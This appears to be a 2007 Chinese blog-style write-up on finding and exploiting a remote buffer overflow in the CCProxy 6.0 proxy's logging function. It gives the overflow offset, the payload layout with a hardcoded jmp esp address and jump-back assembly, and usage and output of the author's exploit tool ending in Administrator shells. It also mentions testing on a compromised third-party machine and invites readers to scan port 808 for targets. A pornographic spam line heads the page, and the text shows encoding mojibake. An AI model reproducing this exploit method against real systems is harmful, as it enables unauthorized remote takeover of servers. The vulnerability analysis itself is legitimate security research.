亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

我是如何發(fā)現(xiàn)CCProxy遠程溢出漏洞的

 更新時間:2007年01月16日 00:00:00   作者:  
CCProxy是一個國產(chǎn)的支持HTTP、FTP、Gopher、SOCKS4/5、Telnet、Secure(HTTPS)、News(NNTP)、 RTSP、MMS等代理協(xié)議的代理服務器軟件。因為其簡單易用、界面友好,非常適合在對流量要求不高的網(wǎng)絡環(huán)境中使用,所以在國內(nèi)有很多初級的網(wǎng)管喜歡用這個軟件,有時候我在公司上網(wǎng)也要用它做代理。前些日子我測試發(fā)現(xiàn)CCProxy 6.0版本存在多處緩沖區(qū)溢出漏洞,可以導致攻擊者遠程執(zhí)行任意代碼。   

TIPS:什么是Gopher、RTSP、MMS?   
  Gopher是Internet上一個非常有名的信息查找系統(tǒng),它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。允許用戶使用層疊結(jié)構(gòu)的菜單與文件,以發(fā)現(xiàn)和檢索信息,它擁有世界上最大、最神奇的編目。   
  RTSP是Real Tranfer Stream Protocol的縮寫,翻譯為實時傳輸流協(xié)議,用來傳輸網(wǎng)絡上的流媒體文件,如RM電影文件等,它的下載方法請看后文《悄悄下載流媒體》。   
MMS是Multimedia Messaging Service的縮寫,中文譯為多媒體信息服務,它最大的特色就是支持多媒體功能,可以在GPRS、CDMA 1X的支持下,以WAP無線應用協(xié)議為載體傳送視頻短片、圖片、聲音和文字,彩信就算MMS協(xié)議中的一種。   

漏洞發(fā)現(xiàn)過程   
其實發(fā)現(xiàn)這個漏洞是很偶然的,當時在考慮公司產(chǎn)品的黑盒測試方案的時候,我想使用模板+測試用例的方式來進行網(wǎng)絡部分的邊界測試。這是比較傳統(tǒng)的黑盒測試方法,其核心內(nèi)容就是把網(wǎng)絡協(xié)議包分塊,然后制定出對各個塊的測試策略,最后按照策略對所有塊逐步進行測試。這種測試方法的好處在于可以有效的控制測試進度,以及可以比較詳細地測試一個網(wǎng)絡協(xié)議的所有部分,而且在測試過程中還可以不斷地加入新的測試用例,以完善測試計劃。測試程序的編寫則可以使用腳本語言或C來完成。   

TIPS:什么是黑盒測試?   
黑盒測試法把程序看成一個黑盒子,完全不考慮程序的內(nèi)部結(jié)構(gòu)和處理過程。黑盒測試是在程序接口進行的測試,它只檢查程序功能是否能按照規(guī)格說明書的規(guī)定正常使用,程序是否能適當?shù)亟邮蛰斎霐?shù)據(jù)產(chǎn)生正確的輸出信息,并且保持外部信息的完整性。黑盒測試又稱為功能測試。   

我就是用這種方法測試公司的產(chǎn)品的時候,恰好當時在公司內(nèi)部網(wǎng)之間使用CCProxy做代理服務器,因為測試HTTP協(xié)議要通過這個代理,所以測試過程中發(fā)現(xiàn)CCProxy崩潰了,也因此發(fā)現(xiàn)了這個漏洞,算是偶然吧。   

漏洞分析過程   
CCProxy的HTTP代理端口默認是808,這個端口可以在其界面中進行更改。漏洞的原理很簡單,就是對CCProxy的 HTTP代理端口發(fā)送URL超過4056字節(jié)的畸形請求,CCProxy就會發(fā)生堆棧溢出。后來發(fā)現(xiàn),不僅僅是GET請求存在此問題,所有POST、 HEAD等請求也都會導致溢出。在分析其原理后又發(fā)現(xiàn)CCProxy的Telnet代理也存在該問題。   
現(xiàn)在來詳細介紹一下我分析這個漏洞的過程。在發(fā)現(xiàn)了發(fā)送超長請求可以導致CCProxy出錯以后,就開始分析溢出點以及利用限制。所要用到的工具是SOFTICE調(diào)試器和IDA反匯編工具。   

TIPS:很多人都知道使用WINDASM反匯編,但經(jīng)過它反匯編出來的代碼非常簡單,很不容易看明白,但IDA就不一樣了,它不但會反匯編程序,并會盡量分析程序,并加上相應的注釋。正因為這樣,IDA反匯編一個大的程序會花非常長的時間。   

整個調(diào)試分析漏洞的過程如下:首先在SOFTICE中下斷點:Bpx ntdll!KiUserExceptionDispatcher,這個命令的意思就是程序運行到Ntdll.dll中的 KiUserExceptionDispatcher就停下來,交給SOFTICE進行處理。KiUserExceptionDispatcher這個函數(shù)是Windows的異常處理過程中的很重要的一個步驟,它負責派發(fā)用戶層空間發(fā)生的所有異常到異常鏈中的異常處理函數(shù)地址,每當在用戶層空間發(fā)生異常的時候就會調(diào)用這個函數(shù)。SOFTICE默認是沒有加載Ntdll.dll的,所以我們可以通過DriverStudio套件中的一個叫做“Symbol Loader”的工具的Load Exports來加載這個DLL文件。   
設(shè)好斷點后,就用一個簡單的程序向808端口發(fā)送“GET /AAAA[...4056 bytes] HTTP/1.0<回車><回車>”這樣的超長字符串,其中包含4056個A的超長URL。發(fā)送之后SOFTICE會跳出來并停在KiUserExceptionDispatcher斷點上,這時候用“dd (*(esp+4))+b8”命令來查看出錯時的EIP地址,這是因為KiUserExceptionDispatcher的函數(shù)參數(shù)是一個指向保存異常發(fā)生時的寄存器的結(jié)構(gòu),該結(jié)構(gòu)從偏移0x8c的位置開始保存寄存器值,其具體保存寄存器值如下:   
0x08c Gs   
0x090 Fs   
0x094 Es   
0x098 Ds   
0x09c Edi   
0x0a0 Esi   
0x0a4 Ebx   
0x0a8 Edx   
0x0ac Ecx   
0x0b0 Eax   
0x0b4 Ebp   
0x0b8 Eip   
0x0bc Cs   
0x0c0 EFlags   
0x0c4 Esp   
0x0c8 Ss   
用“dd (*(esp+4))+b8”命令發(fā)現(xiàn)出現(xiàn)異常的EIP是0x41414141,我們知道0x41就是A的ASCII碼,所以現(xiàn)在已經(jīng)證實我們發(fā)送的超長字符串已經(jīng)覆蓋了某個函數(shù)的返回地址,導致該函數(shù)返回的時候返回到0x41414141這樣的地址。此時退出SOFTICE就會彈出 “0x41414141指令引用0x41414141的內(nèi)存。該內(nèi)存不能read。”這樣的應用程序錯誤對話框。   

TIPS:“0x41414141指令引用0x41414141的內(nèi)存。該內(nèi)存不能read?!边@種是典型的溢出提示,明確告訴我們溢出的地址和錯誤,對進一步分析溢出很有好處。   

接下來,我們還需要知道究竟是什么地方導致函數(shù)返回地址被覆蓋的。因此我們逐漸減少發(fā)送的字符串長度,發(fā)現(xiàn)當發(fā)送4039字節(jié)時就不會導致出錯了。由于堆棧和返回地址被覆蓋,我們無法看到導致溢出的地址到底是哪里,但是根據(jù)經(jīng)驗推測,這可能是一個由Strcpy、Strcat或Sprintf等函數(shù)導致的溢出。因此我們在這些函數(shù)下斷點,然后再次發(fā)送4056字節(jié)的長URL命令。但是發(fā)現(xiàn)沒有在這些函數(shù)中斷下來,證明溢出過程并沒有調(diào)用這些函數(shù)。   
到了這里似乎沒有好的辦法能夠確定溢出位置了,但是通過觀察發(fā)生溢出后的堆棧內(nèi)容,可以看到根據(jù)當時的堆棧中的連續(xù)大片的“AAAA……”和開頭的時間和 “unknown Web”字符串等信息得知,當對堆棧中對這些地址寫入內(nèi)容的時候會導致覆蓋返回地址,所以我們直接對堆棧地址設(shè)寫斷點,使用命令“bpmd 01977908 w”來對0x01977908的地址設(shè)一個寫操作斷點,這個地址是我們通過觀察溢出發(fā)生后的ESP來得到的,因為這應該就是函數(shù)返回之后的ESP,即棧頂?shù)刂?。但是這個地址是不固定的,可能不同的系統(tǒng)上這個地址也不一樣,即使在同一個系統(tǒng)上,這個地址也隨每次CCProxy進程的啟動而不同。但是在同一個系統(tǒng)上,一般試幾次就會使用同樣的地址,所以我們只需要多試幾次就肯定能夠中斷下來了。在設(shè)斷點之前首先要用Addr ccproxy來進入CCProxy的進程地址空間。   
經(jīng)過仔細分析發(fā)現(xiàn),當調(diào)用0040A410這個函數(shù)之前,會進行壓棧操作,這個壓棧恰好會把函數(shù)返回地址寫入到堆棧01977908的位置,所以我們有理由相信就是調(diào)用這個0040A410這個函數(shù)的過程當中導致了溢出。在0040A410函數(shù)入口出設(shè)斷點,然后發(fā)送溢出字符串,中斷后按F12(即執(zhí)行到函數(shù)返回),可以看到恰好返回到0x41414141的地址,這就印證了我們的推測,溢出確實發(fā)生在0040A410函數(shù)當中。   
然后我們用IDA來反匯編CCProxy.exe來看看0040A410函數(shù)到底進行了哪些操作。反匯編的代碼如下:   
text:0040A410 sub_40A410 proc near ; CODE XREF: sub_408A10+114 p   
.text:0040A410 ; sub_408A10+262 p ...   
.text:0040A410 mov eax, 280Ch   
.text:0040A415 call __alloca_probe ;分配0x280c大小的緩沖區(qū)   
.text:0040A41A mov eax, dword_501D04   
.text:0040A41F push ebp   
.text:0040A420 mov ebp, [esp+2814h] ;這是要記錄的內(nèi)容,作為參數(shù)傳入   
可以看到這個函數(shù)調(diào)用“__alloca_probe”函數(shù)來進行緩沖區(qū)分配,它和普通函數(shù)調(diào)用Sub esp,xxx的方式來分配緩沖區(qū)有點不同,這是因為需要分配的緩沖區(qū)太大,直接減ESP可能會導致直接到達未分配的地址空間,所以需要用 “__alloca_probe“來分配這個大緩沖區(qū)。   
我們再繼續(xù)跟蹤這個函數(shù),發(fā)現(xiàn)到0040A607的指令時覆蓋了函數(shù)的返回地址。代碼如下:   
.text:0040A5F1 lea ecx, [esp+414h]   
.text:0040A5F8 push ebp   
.text:0040A5F9 push ecx   
.text:0040A5FA lea edx, [esp+1820h]   
.text:0040A601 push offset aSS_0 ; "[%s] %s"   
.text:0040A606 push edx   
.text:0040A607 call _sprintf   
在這個調(diào)用了“_sprintf“函數(shù),按照“[日期] 內(nèi)容”的格式存入0x1820大小的局部字符串緩沖區(qū)中,由于沒有限制長度,所以導致了緩沖區(qū)溢出。再仔細查看發(fā)現(xiàn)“_sprintf”函數(shù)是在 CCProxy自己的代碼段里面實現(xiàn)的,而沒有調(diào)用“msvcrt.dll”導出的Sprintf函數(shù),難怪我們前面在Sprintf函數(shù)下斷點沒有攔截到!   
說句題外話,現(xiàn)在市場上有些防溢出軟件產(chǎn)品是利用攔截系統(tǒng)的字符串拷貝函數(shù)然后回溯堆棧的方法,并宣稱從根本上解決了系統(tǒng)緩沖區(qū)溢出的問題。這根本就是無稽之談,因為很多溢出都是軟件自己的代碼實現(xiàn)導致溢出的,例如這個CCProxy溢出這樣,根本就不調(diào)用任何系統(tǒng)函數(shù),所以那種保護方法并不能從根本上解決溢出的問題。   
在0040A410函數(shù)返回的時候,就會返回到被覆蓋的地址去。代碼如下:   
.text:0040A700 add esp, 280Ch ;恢復堆棧   
.text:0040A706 retn ;返回   
到這里我們已經(jīng)可以看出,0040A410這個函數(shù)其實是一個記錄CCProxy日志的函數(shù),它按照“[日期] 內(nèi)容”的格式來記錄日志,但是在構(gòu)造日志字符串的時候沒有限制長度,所以導致了緩沖區(qū)溢出。我們已經(jīng)找到了導致溢出的位置,接下來就要看看如何利用這個漏洞了。   

漏洞利用   
要利用漏洞,就要找到覆蓋返回地址的字符串偏移。我們可以通過發(fā)送AAAABBBBCCCCDDD……這樣的組合字符串看到底是哪里覆蓋了返回地址。經(jīng)過一番分析,得知在4056的偏移處恰好覆蓋了函數(shù)返回地址。所以我們這樣來設(shè)計溢出字符串:   
GET /AAAA….|shellcode|jmp esp|jmp back| HTTP/1.0   
其中“AAAA……”這樣的字符串是為了在執(zhí)行ShellCode之前騰出足夠的空間,因為字母A所對應的CPU指令是INC ECX,即一條無實際作用的指令,相當于傳統(tǒng)的NOP指令,但是它比NOP指令的好處在于它是可顯示的字符,不易導致錯誤。而ShellCode是一個普通開端口的ShellCode,對其中的字符無任何特殊要求。Jmp esp是一個包含Jmp esp指令的地址,把它作為覆蓋函數(shù)的返回地址,這樣當函數(shù)返回的時候就會跳到這個地址去執(zhí)行Jmp esp指令,因為此時的ESP恰好指向函數(shù)返回地址后面的地址,即隨后的Jmp back指令。這個指令是一串跳轉(zhuǎn)指令,用來跳過Jmp esp地址和ShellCcode,執(zhí)行到前面的AAAA……,即NOP指令,以便最后執(zhí)行到shellcode當中。這里我們要選用一個比較通用的 jmp esp地址,如果是系統(tǒng)DLL中的Jmp esp地址,可能會隨系統(tǒng)打了不同的SP而有不同的地址,所以我們選擇0x7ffa54cd這樣的地址,它在同一類Windows系統(tǒng)(例如中文版 Windows 2000)當中是固定的。Jmp Back指令我們用這樣的匯編指令:   
mov ecx,25414141h ;把ECX設(shè)為0x25414141   
shr ecx,14h ;把ECX右移0x14位,讓ECX變?yōu)?x254   
sub esp,ecx ;把ESP減去0x254   
jmp esp ;跳到此時的ESP去   
這樣把ESP減去0x254就可以跳過前面的返回地址和ShellCode,這樣一來就能夠恰好跳到shellcode前面的NOP指令去執(zhí)行了。   
這樣設(shè)計好溢出串,并編寫程序保證jmp esp恰好覆蓋返回地址,發(fā)送,果然溢出成功,并開出了shellcode指定的端口。這樣exploit是不是就算是完成了呢?于是我到外網(wǎng)找了一個安裝了CCProxy的肉雞試了一下,可是沒有成功。奇怪了,問題究竟出在哪里呢?   
經(jīng)過仔細分析發(fā)現(xiàn),由于溢出是按照“[日期] 內(nèi)容”的格式拷貝到字符串當中導致的,其中“內(nèi)容”部分的格式是這樣的:   
客戶端IP地址<空格>unknown<空格>Web<空格>HTTP請求   
其中unknown和Web都是固定長度的字符串,HTTP請求是我們所能控制的字符串。但是這里存在一個問題,就是客戶端IP地址是我們無法控制的字符串,它的長度是不固定的,這樣一來,不同長度的客戶端IP地址就會導致不同的溢出點,這樣也就可能無法成功的溢出了。怎樣解決這個問題呢?我們雖然無法控制客戶端IP地址的字符串長度,但是我們可以得到這個字符串的長度,并且在我們所能控制的HTTP請求當中補齊這個長度,讓我們發(fā)送的Jmp esp地址始終覆蓋在函數(shù)返回地址上面。   
而客戶端IP地址可能根據(jù)不同網(wǎng)絡結(jié)構(gòu)而分為三種情況:   
? 如果攻擊者和攻擊目標在同一個網(wǎng)段(即中間不經(jīng)過網(wǎng)關(guān)),那么客戶端IP地址就是攻擊者主機的IP地址。   
? 如果攻擊者和攻擊目標不在同一個網(wǎng)段上(即中間經(jīng)過網(wǎng)關(guān)),但是攻擊者的主機有真實的IP地址。那么客戶端IP地址也是攻擊者主機的IP地址。   
? 如果攻擊者和攻擊目標不在同一個網(wǎng)段上(即中間經(jīng)過網(wǎng)關(guān)),而且攻擊者的主機沒有真實的IP地址。例如攻擊者在內(nèi)網(wǎng),而攻擊目標主機在外網(wǎng),那么客戶端IP地址就是攻擊者的網(wǎng)關(guān)的外部IP地址。   
知道了這三種情況之后,我們就可以動手改進剛才的Exploit程序了。首先要取出本機的IP地址,可以通過調(diào)用Socket函數(shù)Gethostname ()先取得獲取本機名,然后通過調(diào)用Gethostbyname()來得到本機IP地址的十六進制數(shù)值,最后利用Inet_ntoa()把這個數(shù)值轉(zhuǎn)換為字符串。這樣就解決了前兩種情況的客戶端IP地址,那么對于第三種本機和目標主機不在同一網(wǎng)段的情況又怎么辦呢?用程序?qū)崿F(xiàn)自動取網(wǎng)關(guān)外部IP地址好像稍微麻煩了點,我懶得寫這樣的程序了,干脆由用戶自己來輸入算了,怎么得到你的網(wǎng)關(guān)外部IP地址就不用我來教了吧,應該是不難的,有些網(wǎng)站的論壇甚至都會直接顯示出你的IP地址,那就是你網(wǎng)關(guān)的IP地址。   

TIPS:利用網(wǎng)關(guān)實現(xiàn)溢出攻擊還是第一次看到具體的例子,它們的網(wǎng)絡通訊是如何建立的?數(shù)據(jù)傳輸是怎么進行的?有興趣的朋友可以考慮一下,嘗試利用這個過程做點事情,相信你會有更都的發(fā)現(xiàn)。   

漏洞攻擊程序使用方法   
我用前面提到的方法寫了一個Exploit程序,按照“ccpx <目標IP> [端口]”這樣的格式來使用,其中目標IP就是你要攻擊的安裝了CCProxy的機器的IP地址,端口是目標IP上的CCProxy的HTTP代理端口,這個端口默認是808,但是可能會更改。   
然后程序會提示你“本主機IP是否與目標主機IP在同一個網(wǎng)段?”,因為前面提到原因,所以要采取兩種不同的溢出字符串,如果你的機器和目標主機在同一個網(wǎng)段上,那你就選擇Y,如果不在同一網(wǎng)段就選N。如果你選擇了Nn,程序還會詢問你“本主機有沒有真實外網(wǎng)IP地址?”,也就是說你的機器是在內(nèi)網(wǎng)還是外網(wǎng),有沒有真實IP地址,如果有就選Y,沒有則選N。如果這次你又選擇了N,那么程序會要求你輸入本主機所屬網(wǎng)關(guān)的外部IP地址,這個地址需要你自己想辦法得到,要得到它也并不困難。輸入之后就會成功發(fā)送溢出串,并自動連接ShellCode所開出的 24876端口,如果成功的話,就會出現(xiàn)系統(tǒng)權(quán)限的CMD.EXE命令行了。   
如果你的機器和目標主機在同一個網(wǎng)段上面那就簡單了,直接在第一步選Y就可以攻擊成功。如果你的機器雖然和目標主機不在同一個網(wǎng)段上面,但是確有真實IP地址,那就在第二步選Y。   
三種不同情況的具體攻擊過程如下:   
1.你的機器和目標主機在同一個網(wǎng)段上:   
D:\Soft\ccx\ccpx\Debug>ccpx 192.168.0.103   
本主機IP是否與目標主機IP在同一個網(wǎng)段?[y/n]y   
[+] connecting to 192.168.0.103:808   
[+] send magic buffer...   
[+] connecting to CMD shell port...   
Microsoft Windows 2000 [Version 5.00.2195]   
(C) 版權(quán)所有 1985-2000 Microsoft Corp.   

C:\Documents and Settings\Administrator> exit   
exit   
[-] Connection closed.   
2.你的機器雖然和目標主機不在同一個網(wǎng)段上面,但是有真實IP地址:   
D:\Soft\ccx\ccpx\Debug>ccpx 202.xxx.xxx.xxx   
本主機IP是否與目標主機IP在同一個網(wǎng)段?[y/n]n   
本主機有沒有真實外網(wǎng)IP地址? [y/n]y   
[+] connecting to 202.xxx.xxx.xxx:808   
[+] send magic buffer...   
[+] connecting to CMD shell port...   
Microsoft Windows 2000 [Version 5.00.2195]   
(C) 版權(quán)所有 1985-2000 Microsoft Corp.   

C:\Documents and Settings\Administrator>exit   
exit   
[-] Connection closed.   
3.你的機器在內(nèi)網(wǎng),而攻擊目標主機在外網(wǎng):   
D:\Soft\ccx\ccpx\Debug>ccpx 210.xxx.xxx.xxx   
本主機IP是否與目標主機IP在同一個網(wǎng)段?[y/n]n   
本主機有沒有真實外網(wǎng)IP地址? [y/n]n   
請輸入本主機所屬網(wǎng)關(guān)的外部IP地址: 202.xx.xx.xx ←在這里輸入是你網(wǎng)關(guān)的外部IP地址   

[+] connecting to 210.xxx.xxx.xxx:808   
[+] send magic buffer...   
[+] connecting to CMD shell port...   
Microsoft Windows 2000 [Version 5.00.2195]   
(C) 版權(quán)所有 1985-2000 Microsoft Corp.   

C:\Documents and Settings\Administrator>exit   
exit   
[-] Connection closed.   
我這個程序里面的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操作系統(tǒng)中可能會有所不同,需要讀者自己修改。   

TIPS:由于這個ShellCode里面采用了直接開端口的方法,所以如果讀者朋友的攻擊目標上有防火墻的話,可能會導致攻擊不成功。這種情況你需要更改isno程序中的ShellCode,把它替換成反向連接的ShellCode再重新編譯一遍就行了。具體方法請關(guān)注最近幾期“新手學溢出”欄目。   

前面提到的這種根據(jù)不同網(wǎng)絡情況來填充不同個數(shù)的A,從而把Jmp esp地址推到函數(shù)返回地址的方法是不是最好的方法呢?我覺得可能還有更好的方法,也許利用Sprintf函數(shù)的一些內(nèi)部特性就可以不用這樣而寫出通用的利用程序了,但是我沒時間去研究這個了,如果讀者有興趣的話可以自己研究一下,如果研究出來,這也算是一項很實用的通用Exploit技術(shù)。   
后來研究發(fā)現(xiàn)CCProxy不僅僅HTTP代理存在溢出問題,Telnet代理等一些其他調(diào)用日志函數(shù)的端口也存在同樣的問題,攻擊方法類似,這里就不再詳細分析了。另外,CCProxy 5.x以及以前的版本雖然也存在此漏洞,但是構(gòu)造字符串的方法略有不同,因此這個Exploit程序無法成功的攻擊CCProxy 5.x以及以前的版本,只能攻擊CCProxy 6.0。讀者可以自己研究一下老版本的CCProxy,并寫出Exploit程序。   

結(jié)束語   
這個漏洞雖然不是Windows操作系統(tǒng)本身的漏洞,但是CCProxy在國內(nèi)還算一個比較常用的軟件,因此還是有一些利用價值的。不信你可以用Super Scan之類的端口掃描器掃描國內(nèi)網(wǎng)段的TCP 808端口,很多時候都能找到安裝了CCProxy的機器。   
其實寫這篇文章的目的并不是教大家去利用這個漏洞黑機器,而是告訴大家一個軟件漏洞從發(fā)現(xiàn)到跟蹤調(diào)試到最后寫Exploit程序的過程是怎樣的,也許你也能用這種方法找到一些其它的漏洞。  

相關(guān)文章

最新評論